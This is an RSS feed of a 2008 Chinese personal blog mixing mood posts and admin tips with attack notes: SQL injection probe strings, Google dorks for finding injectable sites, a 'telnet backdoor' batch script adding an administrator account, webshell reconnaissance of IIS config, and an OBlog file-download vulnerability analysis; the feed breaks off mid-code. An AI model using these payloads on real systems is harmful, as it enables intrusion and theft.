<?xml version="1.0" encoding="UTF-8"?>
<rss>
<channel>
<title>臭虫BLOG    臭虫博客</title>
<link>http://www.17ccnet.com</link>
<Description>臭虫BLOG    臭虫博客</Description>
<language>zh-cn</language>
<copyright>Copyright 2005-2006 Ewid</copyright>
<webMaster>ewid@3126.com</webMaster>
<image>
	<title>臭虫BLOG    臭虫博客</title> 
	<url>http://www.17ccnet.com/images/logos.gif</url> 
	<link>http://www.17ccnet.com</link> 
	<description>臭虫BLOG    臭虫博客</description> 
</image>
<item><link>http://www.17ccnet.com/blogview.asp?logID=207</link><title><![CDATA[今天见了个很牛的板子（华硕Striker II Extreme）]]></title><author>臭虫</author><category>心情随笔</category><pubDate>2008-9-4 9:31:57</pubDate><guid>http://www.17ccnet.com/blogview.asp?logID=207</guid><description><![CDATA[<p id=fp><br><img src="attachments/month_0809/xum2_qq.jpg" border="0" onload="javascript:DrawImage(this);"/><br>这个板子很牛X，但是价格太高了，4200大元啊~等吧，啥时候价格下来偶就买回去挂到墙上看！</p>]]></description></item><item><link>http://www.17ccnet.com/blogview.asp?logID=206</link><title><![CDATA[学习积累SQL注入]]></title><author>臭虫</author><category>技术文章</category><pubDate>2008-8-27 11:32:35</pubDate><guid>http://www.17ccnet.com/blogview.asp?logID=206</guid><description><![CDATA[and&nbsp;1=1&nbsp;和&nbsp;and&nbsp;1=2&nbsp;&nbsp;&nbsp;返回结果不一样说明又注入点<br>and&nbsp;user&gt;0&nbsp;&nbsp;&nbsp;判断数据库类如返回带有SQL&nbsp;Server类型的关键字代表是MSSQL数据库<br>and&nbsp;exists&nbsp;(select&nbsp;*&nbsp;from&nbsp;表名)&nbsp;&nbsp;判断使用的说明表名<br>and&nbsp;exists&nbsp;(select&nbsp;列名&nbsp;from&nbsp;表名)&nbsp;这样可以判断列名是什么，常见的又name&nbsp;.user.username.admin.adminname]]></description></item><item><link>http://www.17ccnet.com/blogview.asp?logID=205</link><title><![CDATA[google hack]]></title><author>臭虫</author><category>技术文章</category><pubDate>2008-8-27 9:29:40</pubDate><guid>http://www.17ccnet.com/blogview.asp?logID=205</guid><description><![CDATA[inurl:asp?id=&nbsp;&nbsp;(这样子啊GOOGLE里搜索出来带有asp?id=的站点，适用于大量搜索注入点)<br>site:&nbsp;网址&nbsp;inurl:asp?id=&nbsp;(搜索详细的网站带有asp?id=参数的页面)]]></description></item><item><link>http://www.17ccnet.com/blogview.asp?logID=204</link><title><![CDATA[3389超出最大连接数]]></title><author>臭虫</author><category>技术文章</category><pubDate>2008-7-31 8:42:05</pubDate><guid>http://www.17ccnet.com/blogview.asp?logID=204</guid><description><![CDATA[服务器为win2003的系统，在本地运行：mstsc&nbsp;/console，然后登陆连接]]></description></item><item><link>http://www.17ccnet.com/blogview.asp?logID=203</link><title><![CDATA[查看MX记录是否生效]]></title><author>臭虫</author><category>技术文章</category><pubDate>2008-7-17 8:28:19</pubDate><guid>http://www.17ccnet.com/blogview.asp?logID=203</guid><description><![CDATA[运行-&gt;CMD.exe&nbsp;<br>nslookup&nbsp;回车；&nbsp;<br>set&nbsp;ty=mx&nbsp;回车；&nbsp;<br>输入你要查询的域名&nbsp;回车]]></description></item><item><link>http://www.17ccnet.com/blogview.asp?logID=202</link><title><![CDATA[心情很糟~所以无标题~~~]]></title><author>臭虫</author><category>心情随笔</category><pubDate>2008-7-15 9:23:28</pubDate><guid>http://www.17ccnet.com/blogview.asp?logID=202</guid><description><![CDATA[<p id=fp>打开了久违的BLOG，却不知道从何下手，想写点什么可是脑袋里一片空白不知道这么写开始。脑袋里只有烦，说不上来的烦~早上起来到公司面部就一直一个表情。可能和天气有关吧只要到下雨天就属于少言寡语,到公司打开电脑却不知道做些什么？想让自己忙碌取来却发现无从下手只有看着显示器发呆脑袋一片空白的发呆~突然有个想法想好好的休息几天！想一个人去爬山又想会到老家陪着自己的父母呆几天可能会好一点吧！哎~~~~走一步说一步吧前面的路依然未知但是还要走下去~</p>]]></description></item><item><link>http://www.17ccnet.com/blogview.asp?logID=201</link><title><![CDATA[telnet 后门]]></title><author>臭虫</author><category>技术文章</category><pubDate>2008-7-3 7:56:34</pubDate><guid>http://www.17ccnet.com/blogview.asp?logID=201</guid><description><![CDATA[@echo&nbsp;off<br>net&nbsp;start&nbsp;telnet<br>tlntadmn&nbsp;config&nbsp;port=自己设置端口<br>net&nbsp;user&nbsp;帐号&nbsp;密码&nbsp;/add<br>net&nbsp;localgroup&nbsp;administrators&nbsp;帐号&nbsp;/add]]></description></item><item><link>http://www.17ccnet.com/blogview.asp?logID=200</link><title><![CDATA[webshell下查找所有IIS站点配置]]></title><author>臭虫</author><category>技术文章</category><pubDate>2008-6-30 11:55:19</pubDate><guid>http://www.17ccnet.com/blogview.asp?logID=200</guid><description><![CDATA[默认IIS站点配置文件有2个MBSchema.xm和MetaBase.xml,<br>路径是C:\WINDOWS\system32\inetsrv\(一般这个目录设置的everyone读的权限.)<br>MetaBase.xml这个文件是存的站点IIS配置的信息.里面可以查到所有本服务器IIS下设置的站点目录和配置。<br>几个主要的配置有:<br>ServerComment:我的网站&nbsp;//站点的名称<br>ServerBindings:80&nbsp;//站点的端口<br>Path=&quot;D:\wwwroot&quot;&nbsp;//这里是站点的路径<br>DefaultDoc=&quot;index.asp,index.php,index.htm,Default.htm,Default.asp,Default.aspx&quot;&nbsp;//默认文档头,就是主页显示文件名<br>ScriptMaps==&quot;.asa,C:\WINDOWS\syst...........&quot;&nbsp;//站点支持的哪些脚本.<br><br>还有就是看C:\WINDOWS\system32\inetsrv\History这个目录,这个目录里是对每次站点的IIS设置进行的备份.<br>但这些都涉及到权限问题，如果权限默认设置严格就访问不了了。]]></description></item><item><link>http://www.17ccnet.com/blogview.asp?logID=199</link><title><![CDATA[IIS缓存]]></title><author>臭虫</author><category>技术文章</category><pubDate>2008-6-23 10:25:38</pubDate><guid>http://www.17ccnet.com/blogview.asp?logID=199</guid><description><![CDATA[如果是要去除某个虚拟目录的缓存，那么可以直接编辑元数据库：<br>控制静态缓存的属性是MD_VR_NO_CACHE，0为启用，1为禁用。把他设置为1即可。<br>比如：<br><br>&nbsp;LM/W3SVC/n/ROOT/vdir&nbsp;MD_VR_NO_CACHE=1&nbsp;<br><br>如果要禁用IIS所有站点静态页面缓存，那么可以：<br>编辑注册表中的&nbsp;DisableStaticFileCache值，0为启用，1为禁用&nbsp;，该键值的位置位于：HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\InetInfo\Parameters&nbsp;key]]></description></item><item><link>http://www.17ccnet.com/blogview.asp?logID=195</link><title><![CDATA[OBLOG漏洞。（任意文件下载漏洞）]]></title><author>臭虫</author><category>技术文章</category><pubDate>2008-5-2 13:54:27</pubDate><guid>http://www.17ccnet.com/blogview.asp?logID=195</guid><description><![CDATA[########################################################################<br>程序下载：http://down.oblog.cn/oblog4/oblog46_Final_20080403.rar<br>########################################################################<br>描述：<br><br>愚人节那天雕牌在blog上公布了一个Oblog任意文件下载漏洞。文章见http://www.tr4c3.com/post/302.html&nbsp;&lt;0day&gt;愚人节的礼物&nbsp;oblog文件下载漏洞。<br>随后官方发布的Oblog版本里对代码做了些许改动，并发布了相关补丁。详见：http://bbs.oblog.cn/dispbbs.asp?boardid=119&amp;Id=132375&nbsp;[oblog46体验版_patch_20080403补丁]<br>http://www.target.com/attachment.asp?path=./conn.asp这样已经无法下载文件，我从官方下载了最新版本4.60&nbsp;Final&nbsp;Build080403&nbsp;Access(集成了attachment.asp补丁)，发现修改后的代码并不能解决问题,OBlog任意文件下载漏洞依然存在。具体看attachment.asp代码。<br>########################################################################<br>关键部分：<br><br>Path&nbsp;=&nbsp;Trim(Request(&quot;path&quot;))&nbsp;&#39;获取用户提交的路径<br>FileID&nbsp;=&nbsp;Trim(Request(&quot;FileID&quot;))<br>If&nbsp;FileID&nbsp;=&quot;&quot;&nbsp;And&nbsp;Path&nbsp;=&nbsp;&quot;&quot;&nbsp;Then<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.Write&nbsp;&quot;参数不足&quot;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.End<br>End&nbsp;If<br>...<br>If&nbsp;CheckDownLoad&nbsp;&nbsp;Or&nbsp;1=&nbsp;1Then<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;Path&nbsp;=&nbsp;&quot;&quot;&nbsp;Then<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;set&nbsp;rs&nbsp;=&nbsp;Server.CreateObject(&quot;ADODB.RecordSet&quot;)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;link_database<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SQL&nbsp;=&nbsp;(&quot;select&nbsp;file_path,userid,file_ext,ViewNum&nbsp;FROM&nbsp;oblog_upfile&nbsp;WHERE&nbsp;FileID&nbsp;=&nbsp;&quot;&amp;CLng(FileID))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rs.open&nbsp;sql,conn,1,3<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;Not&nbsp;rs.Eof&nbsp;Then<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;uid&nbsp;=&nbsp;rs(1)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;file_ext&nbsp;=&nbsp;rs(2)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rs(&quot;ViewNum&quot;)&nbsp;=&nbsp;rs(&quot;ViewNum&quot;)&nbsp;+&nbsp;1<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rs.Update<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;downloadFile&nbsp;Server.MapPath(rs(0)),0<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.Status=404<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.Write&nbsp;&quot;该附件不存在!&quot;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;If<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rs.Close<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Set&nbsp;rs&nbsp;=&nbsp;Nothing<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;InStr(path,Oblog.CacheConfig(56))&nbsp;&gt;&nbsp;0&nbsp;Then&nbsp;&#39;Tr4c3标注：注意这里，仅仅判断用户提交的路径是否包含UploadFiles，为真则调用downloadfile函数下载文件<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;downloadFile&nbsp;Server.MapPath(Path),1<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;if<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;If<br>Else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;如果附件为图片的话，当权限检验无法通过则调用一默认图片，防止&lt;img&gt;标记无法调用，影响显示效果<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;Path&nbsp;=&nbsp;&quot;&quot;&nbsp;Then<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.Status=403<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.Write&nbsp;ShowDownErr<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.End<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;downloadFile&nbsp;Server.MapPath(blogdir&amp;&quot;images/oblog_powered.gif&quot;),1<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;if<br>End&nbsp;if<br><br>Set&nbsp;oblog&nbsp;=&nbsp;Nothing<br><br>Sub&nbsp;downloadFile(strFile,stype)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;On&nbsp;Error&nbsp;Resume&nbsp;Next<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Server.ScriptTimeOut=9999999<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;S,fso,f,intFilelength,strFilename<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strFilename&nbsp;=&nbsp;strFile<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.Clear<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Set&nbsp;s&nbsp;=&nbsp;Server.CreateObject(oblog.CacheCompont(2))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s.Open<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s.Type&nbsp;=&nbsp;1<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Set&nbsp;fso&nbsp;=&nbsp;Server.CreateObject(oblog.CacheCompont(1))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;Not&nbsp;fso.FileExists(strFilename)&nbsp;Then<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;stype&nbsp;=&nbsp;0&nbsp;Then<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.Status=404<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.Write&nbsp;&quot;该附件已经被删除!&quot;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Exit&nbsp;Sub<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strFilename&nbsp;=&nbsp;Server.MapPath(blogdir&amp;&quot;images/nopic.gif&quot;)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;if<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;If<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Set&nbsp;f&nbsp;=&nbsp;fso.GetFile(strFilename)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;intFilelength&nbsp;=&nbsp;f.size<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s.LoadFromFile(strFilename)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;Err&nbsp;Then<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.Write(&quot;&lt;h1&gt;错误:&nbsp;&lt;/h1&gt;&quot;&nbsp;&amp;&nbsp;Err.Description&nbsp;&amp;&nbsp;&quot;&lt;p&gt;&quot;)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.End<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;If<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Set&nbsp;fso=Nothing<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;Data<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Data=s.Read<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s.Close<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Set&nbsp;s=Nothing<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;ContentType<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;select&nbsp;Case&nbsp;LCase(Right(strFile,&nbsp;4))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case&nbsp;&quot;.asp&quot;,&quot;.mdb&quot;,&quot;.config&quot;,&quot;.js&quot;&nbsp;&#39;Tr4c3标注：再看这里，想起来什么来了？对了，前几天我发的沸腾展望新闻系统的任意下载漏洞跟这个检查的方法差不多[http://www.tr4c3.com/post/306.html]，利用方法也相似，神奇的&quot;.&quot;又派上用场了。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Exit&nbsp;Sub<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case&nbsp;&quot;.asf&quot;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ContentType&nbsp;=&nbsp;&quot;video/x-ms-asf&quot;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case&nbsp;&quot;.avi&quot;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ContentType&nbsp;=&nbsp;&quot;video/avi&quot;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case&nbsp;&quot;.doc&quot;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ContentType&nbsp;=&nbsp;&quot;application/msword&quot;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case&nbsp;&quot;.zip&quot;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ContentType&nbsp;=&nbsp;&quot;application/zip&quot;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case&nbsp;&quot;.xls&quot;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ContentType&nbsp;=&nbsp;&quot;application/vnd.ms-excel&quot;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case&nbsp;&quot;.gif&quot;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ContentType&nbsp;=&nbsp;&quot;image/gif&quot;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case&nbsp;&quot;.jpg&quot;,&nbsp;&quot;jpeg&quot;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ContentType&nbsp;=&nbsp;&quot;image/jpeg&quot;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case&nbsp;&quot;.wav&quot;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ContentType&nbsp;=&nbsp;&quot;audio/wav&quot;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case&nbsp;&quot;.mp3&quot;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ContentType&nbsp;=&nbsp;&quot;audio/mpeg3&quot;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case&nbsp;&quot;.mpg&quot;,&nbsp;&quot;mpeg&quot;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ContentType&nbsp;=&nbsp;&quot;video/mpeg&quot;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case&nbsp;&quot;.rtf&quot;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ContentType&nbsp;=&nbsp;&quot;application/rtf&quot;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case&nbsp;&quot;.htm&quot;,&nbsp;&quot;html&quot;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ContentType&nbsp;=&nbsp;&quot;text/html&quot;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case&nbsp;&quot;.txt&quot;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ContentType&nbsp;=&nbsp;&quot;text/plain&quot;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case&nbsp;Else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ContentType&nbsp;=&nbsp;&quot;application/octet-stream&quot;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;select<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;Response.IsClientConnected&nbsp;Then<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;Not&nbsp;(InStr(LCase(f.name),&quot;.gif&quot;)&gt;0&nbsp;Or&nbsp;InStr(LCase(f.name),&quot;.jpg&quot;)&gt;0&nbsp;Or&nbsp;InStr(LCase(f.name),&quot;.jpeg&quot;)&gt;0&nbsp;Or&nbsp;InStr(LCase(f.name),&quot;.bmp&quot;)&gt;0&nbsp;Or&nbsp;InStr(LCase(f.name),&quot;.png&quot;)&gt;0&nbsp;)Then<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.AddHeader&nbsp;&quot;Content-Disposition&quot;,&nbsp;&quot;attachment;&nbsp;filename=&quot;&nbsp;&amp;&nbsp;f.name<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&